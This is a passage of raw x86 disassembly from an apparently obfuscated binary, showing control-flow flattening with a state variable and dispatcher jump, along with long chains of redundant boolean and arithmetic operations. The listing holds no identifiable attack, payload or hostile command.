or ch, dh
or al, cl
xor ch, al
mov byte [ebp - 0xbca], ch
mov cl, ah
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov al, ah
and al, dh
or cl, al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
xor ch, 0xff
mov bl, 1
xor bl, 1
mov al, 1
xor al, 0
or ch, bl
or al, 0
xor ch, 0xff
and ch, al
mov bl, 1
xor bl, 0
mov bh, dh
xor bh, 0xff
mov al, 1
xor al, 1
or bl, bh
or al, 1
xor bl, 0xff
and bl, al
mov bh, 1
xor bh, 1
mov al, cl
xor al, bh
and al, cl
mov byte [ebp - 0xbcb], al
xor ah, 0xff
mov al, dh
xor al, 0xff
mov bh, 1
xor bh, 0
or ah, al
mov al, byte [ebp - 0xbcb]
or bh, 0
xor ah, 0xff
and ah, bh
mov bh, ch
and bh, bl
xor ch, bl
or bh, ch
mov bl, al
and bl, ah
xor al, ah
or bl, al
mov ah, bh
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and bh, al
mov ch, bl
xor ch, 0xff
and ch, 0
and bl, al
mov al, byte [ebp - 0xbca]
or ah, bh
or ch, bl
xor ah, ch
mov byte [ebp - 0xbc6], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 0
mov bh, ah
and bh, 0
and al, ch
mov byte [ebp - 0xbc9], al
mov al, bl
and al, 0
mov byte [ebp - 0xbc8], al
mov al, byte [ebp - 0xbc9]
and cl, ch
or bh, al
mov al, byte [ebp - 0xbc8]
or al, cl
mov cl, byte [ebp - 0xbc7]
xor bh, al
mov al, byte [ebp - 0xbc6]
or ah, bl
xor ah, 0xff
or ch, 0
and ah, ch
or bh, ah
mov ah, bh
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and bh, bl
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or ah, bh
or ch, bl
xor ah, ch
mov ch, dh
and ch, 1
xor dh, 1
or ch, dh
xor ch, 0xff
mov bh, ah
xor bh, ch
and bh, ah
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xbc5], dh
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
and dh, 0
and al, ah
mov bl, ch
and bl, 0
and bh, ah
or dh, al
mov al, byte [ebp - 0xbc5]
or bl, bh
xor dh, bl
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or dh, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov ah, cl
xor ah, 0xff
mov al, ch
and al, ah
xor ch, 0xff
mov ah, cl
and ah, ch
or al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xadb456df
mov ecx, 0x23cb6f74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0x3df5e0cd
jmp 0x4b1f8e
mov eax, dword [ebp - 0x44]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x3d], al
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
mov edi, 0xef41fb94
add edi, 0
add edi, 0xe7197673
sub edi, 0xef41fb94
sub edi, 0x41591c45
sub edi, 1
add edi, 0x41591c45
sub edi, 0x5d68b2f8
sub edi, 0xe7197673
add edi, 0x5d68b2f8
xor esi, esi
sub esi, 0xe4a2f05b
mov edx, ecx
sub edx, esi
xor esi, esi
sub esi, edi
sub edx, esi
xor esi, esi
sub esi, 0xe4a2f05b
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl dh
mov ah, dl
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
mov ch, dl
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, ch
or al, cl
xor ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov cl, 1
xor cl, 0
and cl, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 0
mov al, 1
xor al, 1
and al, 0
and ch, 1
or cl, bl
or al, ch
xor cl, al
mov bl, dl
xor bl, 0xff
mov ch, cl
xor ch, 0xff
mov al, 1
xor al, 1
or bl, ch
or al, 1
xor bl, 0xff
and bl, al
mov ch, 1
xor ch, 1
and ch, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 1
mov byte [ebp - 0xd4b], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xd4a], al
mov al, byte [ebp - 0xd4b]
and bh, 1
or ch, al
mov al, byte [ebp - 0xd4a]
or al, bh
xor ch, al
mov bh, 1
xor bh, 0
mov al, ch
xor al, bh
and al, ch
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, ah
and ch, bl
xor ah, bl
or ch, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ch
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and ch, bl
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, bl
or al, ch
or cl, ah
xor al, cl
mov byte [ebp - 0xd26], al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov ch, dh
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
mov bh, dh
xor bh, cl
and bh, dh
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xd49], ch
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 1
and ch, 0xff
and al, cl
mov bl, ah
and bl, 0xff
and bh, cl
or ch, al
mov al, byte [ebp - 0xd49]
or bl, bh
xor ch, bl
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov ah, 1
xor ah, 0
and ah, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, bl
or al, cl
xor ah, al
mov al, 1
xor al, 0
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0xd46], al
mov ah, 1
xor ah, 0
and ah, 0
mov cl, 1
xor cl, 0
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, bl
or al, cl
xor ah, al
mov cl, 1
xor cl, 0
mov bl, ah
xor bl, 0xff
mov al, 1
xor al, 0
or cl, bl
or al, 0
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 1
and bl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov byte [ebp - 0xd48], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xd47], al
mov al, byte [ebp - 0xd48]
and bh, 1
or bl, al
mov al, byte [ebp - 0xd47]
or al, bh
xor bl, al
xor bl, 0xff
mov al, 1
xor al, 0
mov bh, 1
xor bh, 1
or bl, al
mov al, byte [ebp - 0xd46]
or bh, 1
xor bl, 0xff
and bl, bh
mov byte [ebp - 0xd41], bl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0xd43], bh
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0xd42], bl
mov bl, 1
xor bl, 0
and bh, 0
and al, bl
mov byte [ebp - 0xd45], al
mov al, byte [ebp - 0xd42]
and al, 0
mov byte [ebp - 0xd44], al
mov al, byte [ebp - 0xd45]
and cl, bl
or bh, al
mov al, byte [ebp - 0xd44]
or al, cl
mov cl, byte [ebp - 0xd43]
xor bh, al
mov al, byte [ebp - 0xd42]
or cl, al
mov al, byte [ebp - 0xd41]
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, bh
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
and bh, bl
mov al, cl
xor al, 0xff
and al, 0
and cl, bl
mov bl, byte [ebp - 0xd26]
or ah, bh
or al, cl
xor ah, al
mov byte [ebp - 0xd25], ah
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov cl, bl
xor cl, 0xff
mov al, bh
and al, cl
xor bh, 0xff
mov cl, bl
and cl, bh
or al, cl
xor al, 0xff
xor bl, 0xff
mov cl, 1
xor cl, 0
or al, bl
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0xd37], al
mov bh, dl
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dl
or al, cl
xor bh, al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
or cl, dl
mov byte [ebp - 0xd3e], cl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and bh, ah
mov byte [ebp - 0xd40], bh
mov bh, bl
and bh, 0
and al, ah
mov byte [ebp - 0xd3f], al
mov al, byte [ebp - 0xd40]
or cl, al
mov al, byte [ebp - 0xd3f]
or bh, al
mov al, byte [ebp - 0xd3e]
xor cl, bh
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov dl, 1
xor dl, 0
mov byte [ebp - 0xd3b], dl
mov bh, al
xor bh, 0xff
mov ah, 1
xor ah, 1
and dl, 0xff
mov bl, ah
and bl, 0
mov byte [ebp - 0xd3d], bl
mov bl, bh
and bl, 0xff
and al, ah
mov byte [ebp - 0xd3c], al
mov al, byte [ebp - 0xd3d]
or dl, al
mov al, byte [ebp - 0xd3c]
or bl, al
mov al, byte [ebp - 0xd3b]
xor dl, bl
mov bl, byte [ebp - 0xd25]
or al, bh
xor al, 0xff
or ah, 1
and al, ah
or dl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
xor al, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0xd36], al
mov cl, 1
xor cl, 0
and cl, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov al, ch
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
mov al, ch
and al, cl
or ah, al
xor ah, 0xff
mov cl, ch
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, dh
or al, dl
xor cl, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov al, 1
xor al, 0
and al, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 0
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or al, bh
or dh, bl
xor al, dh
mov bl, cl
and bl, dl
xor cl, dl
or bl, cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0xd38], cl
mov dh, al
xor dh, 0xff
mov dl, 1
xor dl, 0
and cl, 0
mov bh, dl
and bh, 0
mov byte [ebp - 0xd3a], bh
mov bh, dh
and bh, 0
and al, dl
mov byte [ebp - 0xd39], al
mov al, byte [ebp - 0xd3a]
or cl, al
mov al, byte [ebp - 0xd39]
or bh, al
mov al, byte [ebp - 0xd38]
xor cl, bh
mov bh, byte [ebp - 0xd37]
or al, dh
xor al, 0xff
or dl, 0
and al, dl
or cl, al
mov dh, bl
xor dh, 0xff
and dh, 0
mov dl, 1
xor dl, 0
and bl, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or dh, bl
mov bl, byte [ebp - 0xd36]
or al, dl
xor dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bh
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and bh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, bh
or cl, dl
xor al, cl
mov byte [ebp - 0xd31], al
mov dl, bl
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, bl
or al, cl
xor dl, al
mov cl, 1
xor cl, 0
and cl, 1
mov bl, 1
xor bl, 1
mov al, bl
and al, 0
mov bh, 1
xor bh, 1
and bh, 0xff
and bl, 1
or cl, al
mov al, byte [ebp - 0xd37]
or bh, bl
mov bl, byte [ebp - 0xd31]
xor cl, bh
mov byte [ebp - 0xd33], cl
xor bl, 0xff
mov cl, 1
xor cl, 0
mov bh, 1
xor bh, 0
or bl, cl
mov cl, byte [ebp - 0xd33]
or bh, 0
xor bl, 0xff
and bl, bh
xor al, 0xff
xor cl, 0xff
mov bh, 1
xor bh, 0
or al, cl
mov cl, byte [ebp - 0xd36]
or bh, 0
xor al, 0xff
and al, bh
mov byte [ebp - 0xd35], al
mov al, 1
xor al, 0
mov bh, dl
xor bh, al
mov al, byte [ebp - 0xd33]
and bh, dl
mov byte [ebp - 0xd34], bh
xor cl, 0xff
xor al, 0xff
mov bh, 1
xor bh, 0
or cl, al
mov al, byte [ebp - 0xd35]
or bh, 0
xor cl, 0xff
and cl, bh
mov bh, bl
and bh, al
xor bl, al
mov al, byte [ebp - 0xd34]
or bh, bl
mov bl, al
and bl, cl
xor al, cl
mov cl, byte [ebp - 0xd33]
or bl, al
mov byte [ebp - 0xd32], bl
mov al, bh
xor al, 0xff
and bl, al
mov al, byte [ebp - 0xd32]
xor al, 0xff
and bh, al
mov al, byte [ebp - 0xd31]
or bl, bh
mov byte [ebp - 0xd2e], bl
mov bh, al
and bh, dl
xor al, dl
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and bh, bl
mov dl, 1
xor dl, 1
and dl, 0
and bl, 1
or al, bh
or dl, bl
xor al, dl
mov byte [ebp - 0xd2c], al
mov dl, 1
xor dl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0xd2d], al
mov bh, 1
xor bh, 0
mov bl, dl
and bl, 0
mov al, bh
and al, 0
mov byte [ebp - 0xd30], al
mov al, byte [ebp - 0xd2d]
and al, 0
mov byte [ebp - 0xd2f], al
mov al, byte [ebp - 0xd30]
and cl, bh
or bl, al
mov al, byte [ebp - 0xd2f]
or al, cl
mov cl, byte [ebp - 0xd2e]
xor bl, al
mov al, byte [ebp - 0xd2d]
or dl, al
mov al, byte [ebp - 0xd2c]
xor dl, 0xff
or bh, 0
and dl, bh
or bl, dl
xor bl, 0xff
mov dl, al
xor dl, bl
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, dh
xor dl, 0xff
mov cl, ah
xor cl, dl
and cl, ah
mov bl, ah
xor bl, 0xff
mov dl, dh
and dl, bl
xor dh, 0xff
and ah, dh
or dl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov cl, al
and cl, dh
or dl, cl
mov bh, 1
xor bh, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or bh, dl
or cl, 0
xor bh, 0xff
and bh, cl
mov dl, 1
xor dl, 1
and dl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or dl, bl
or cl, dh
xor dl, cl
xor al, 0xff
mov dh, dl
xor dh, 0xff
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0xd2b], al
mov dh, ah
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
mov al, ah
and al, bl
mov cl, 1
xor cl, 1
and cl, 0xff
and bl, 1
or dh, al
mov al, byte [ebp - 0xd2b]
or cl, bl
xor dh, cl
mov bl, 1
xor bl, 1
mov cl, dh
xor cl, bl
and cl, dh
mov byte [ebp - 0xd28], cl
xor ah, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or ah, dl
or cl, 1
xor ah, 0xff
and ah, cl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov cl, dl
and cl, 0xff
and bh, dh
mov byte [ebp - 0xd2a], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0xd29], al
mov al, byte [ebp - 0xd2a]
or cl, al
mov al, byte [ebp - 0xd29]
or bh, al
mov al, byte [ebp - 0xd28]
xor cl, bh
or dl, bl
xor dl, 0xff
or dh, 1
and dl, dh
or cl, dl
mov byte [ebp - 0xd27], cl
mov dh, al
xor dh, 0xff
mov bh, ah
xor bh, 0xff
mov bl, 1
xor bl, 0
mov cl, dh
and cl, 0
and al, bl
mov dl, bh
and dl, 0
and ah, bl
or cl, al
mov al, byte [ebp - 0xd27]
or dl, ah
mov ah, byte [ebp - 0xd26]
xor cl, dl
mov dl, byte [ebp - 0xd25]
or dh, bh
xor dh, 0xff
or bl, 0
and dh, bl
or cl, dh
mov dh, al
xor dh, 0xff
mov bh, cl
and bh, dh
xor cl, 0xff
and al, cl
or bh, al
mov cl, ch
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov dh, ah
xor dh, 0xff
mov cl, ch
and cl, dh
xor ch, 0xff
and ah, ch
or cl, ah
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or ah, al
mov cl, 1
xor cl, 1
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
mov bl, ah
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, bl
or al, ah
xor ch, al
xor dh, 0xff
mov ah, ch
xor ah, 0xff
mov al, 1
xor al, 1
or dh, ah
or al, 1
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
mov bl, 1
xor bl, 1
mov ah, al
xor ah, bl
and ah, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
mov ch, cl
and ch, ah
xor cl, 0xff
and al, cl
or ch, al
mov al, 1
xor al, 0
and al, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 0
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, dh
or cl, ah
xor al, cl
mov byte [ebp - 0xd23], al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dl, ah
or cl, dl
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
mov ah, 1
xor ah, 1
mov bl, al
xor bl, ah
and bl, al
mov al, dl
xor al, 0xff
xor al, 0
and al, 0
mov ah, 1
xor ah, 1
mov dh, cl
xor dh, ah
mov ah, byte [ebp - 0xd25]
and dh, cl
mov byte [ebp - 0xd24], dh
mov dh, dl
xor dh, 0xff
xor ah, dh
mov dh, byte [ebp - 0xd25]
and ah, dh
mov dh, bl
and dh, al
xor bl, al
mov al, byte [ebp - 0xd24]
or dh, bl
mov bl, al
and bl, ah
xor al, ah
or bl, al
mov al, dh
xor al, 0xff
mov ah, bl
and ah, al
mov al, byte [ebp - 0xd23]
xor bl, 0xff
and dh, bl
or ah, dh
mov byte [ebp - 0xd1f], ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0xd20], ah
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ah, 0
and al, dh
mov byte [ebp - 0xd22], al
mov al, bl
and al, 0
mov byte [ebp - 0xd21], al
mov al, byte [ebp - 0xd22]
and cl, dh
or ah, al
mov al, byte [ebp - 0xd21]
or al, cl
mov cl, byte [ebp - 0xd20]
xor ah, al
mov al, byte [ebp - 0xd1f]
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ah, dh
or cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ch
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ch
or cl, dl
xor al, cl
mov dh, ah
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, ah
or cl, dl
xor dh, cl
mov bl, 1
xor bl, 1
and bl, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 1
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bl, ah
or cl, dl
xor bl, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xd1e], dl
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
and dl, 0xff
and al, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, al
mov al, byte [ebp - 0xd1e]
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov cl, 1
xor cl, 1
mov byte [ebp - 0xd1d], cl
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
and cl, 0
mov al, ah
and al, 1
mov dh, ch
and dh, 0
and bl, ah
or cl, al
mov al, byte [ebp - 0xd1d]
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov ah, bh
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0xd1c], al
mov ah, bl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, bl
and cl, dl
or ah, cl
mov dl, 1
xor dl, 0
and dl, 1
mov cl, 1
xor cl, 1
and cl, 0
or dl, cl
mov cl, 1
xor cl, 0
mov ch, al
xor ch, cl
and ch, al
xor bh, 0xff
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov cl, ah
xor cl, 0xff
mov dh, 1
xor dh, 0
mov al, 1
xor al, 0
or cl, dh
or al, 0
xor cl, 0xff
and cl, al
xor bl, 0xff
mov al, dl
xor al, 0xff
mov dh, 1
xor dh, 0
or bl, al
mov al, byte [ebp - 0xd1c]
or dh, 0
xor bl, 0xff
and bl, dh
mov dh, ch
and dh, bh
xor ch, bh
or dh, ch
mov ch, cl
and ch, bl
xor cl, bl
or ch, cl
mov bl, dh
xor bl, 0xff
and bl, 0
mov bh, 1
xor bh, 0
and dh, bh
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bh
or bl, dh
or cl, ch
xor bl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 0
xor dl, 0
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x64f5a11c
mov ecx, 0x8e39cbd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov dl, byte [ebp - 0x3d]
mov eax, 0xafe15577
mov ecx, 0x21ed40be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0x4866c937
jmp 0x4b1f8e
mov ecx, dword [ebp - 0x3c]
mov esi, 0xffffffff
xor esi, 0x20000000
and esi, 0x47b12a3f
mov edx, 0xffffffff
xor edx, 0x47b12a3f
mov edi, edx
and edi, 0x20000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x47b12a3f
and edx, 0xffffffff
or esi, edi
or eax, edx
xor esi, eax
mov edx, 0xffffffff
xor edx, 0xffffffff
xor esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x96dcb6b7
or edx, esi
or eax, 0x96dcb6b7
xor edx, 0xffffffff
and edx, eax
mov edi, 0xffffffff
xor edi, 0xffffffff
and edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or edi, eax
mov esi, 0xffffffff
xor esi, 0x20000000
xor edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x4c591724
or esi, edi
or eax, 0x4c591724
xor esi, 0xffffffff
and esi, eax
mov eax, edx
and eax, esi
xor edx, esi
or eax, edx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xffffffff
mov edx, ecx
and edx, edi
or esi, edx
mov ebx, eax
xor ebx, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4fe9e4bb
or ebx, esi
or edx, 0x4fe9e4bb
xor ebx, 0xffffffff
and ebx, edx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or esi, eax
mov eax, ecx
xor eax, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x128cc48e
or eax, esi
or edx, 0x128cc48e
xor eax, 0xffffffff
and eax, edx
mov esi, ebx
xor esi, 0xffffffff
mov dword [ebp - 0xdc8], esi
mov edi, eax
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x83e706ee
and esi, 0x83e706ee
and ebx, edx
mov dword [ebp - 0xdd0], ebx
mov ebx, edi
and ebx, 0x83e706ee
and eax, edx
mov dword [ebp - 0xdcc], eax
mov eax, dword [ebp - 0xdd0]
or esi, eax
mov eax, dword [ebp - 0xdcc]
or ebx, eax
mov eax, dword [ebp - 0xdc8]
xor esi, ebx
or eax, edi
xor eax, 0xffffffff
or edx, 0x83e706ee
and eax, edx
or esi, eax
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0xb6a5f671
mov edx, 0xffffffff
xor edx, 0xb6a5f671
and esi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xb6a5f671
and edx, 0xffffffff
or ebx, esi
or eax, edx
xor ebx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x1eace51
and ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x1eace51
or ecx, edx
mov dword [ebp - 0xdbc], ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov esi, eax
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4685ab6a
mov edi, ecx
and edi, 0x4685ab6a
and ebx, edx
mov dword [ebp - 0xdc4], ebx
mov ebx, esi
and ebx, 0x4685ab6a
and eax, edx
mov dword [ebp - 0xdc0], eax
mov eax, dword [ebp - 0xdc4]
or edi, eax
mov eax, dword [ebp - 0xdc0]
or ebx, eax
mov eax, dword [ebp - 0xdbc]
xor edi, ebx
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x4685ab6a
and ecx, edx
or edi, ecx
mov edx, eax
and edx, 0x1eace51
xor eax, 0x1eace51
or edx, eax
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0x89fe0cc5
mov esi, 0xffffffff
xor esi, 0x89fe0cc5
and edi, esi
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x89fe0cc5
and esi, 0xffffffff
or ecx, edi
or eax, esi
xor ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x35], al
mov eax, dword [0x63d5c4]
mov ecx, dword [0x63d5c0]
xor edi, edi
sub edi, 1
add edi, 0
xor edx, edx
sub edx, 0
xor esi, esi
sub esi, edi
add edx, esi
xor edi, edi
sub edi, edx
xor esi, esi
sub esi, eax
xor edx, edx
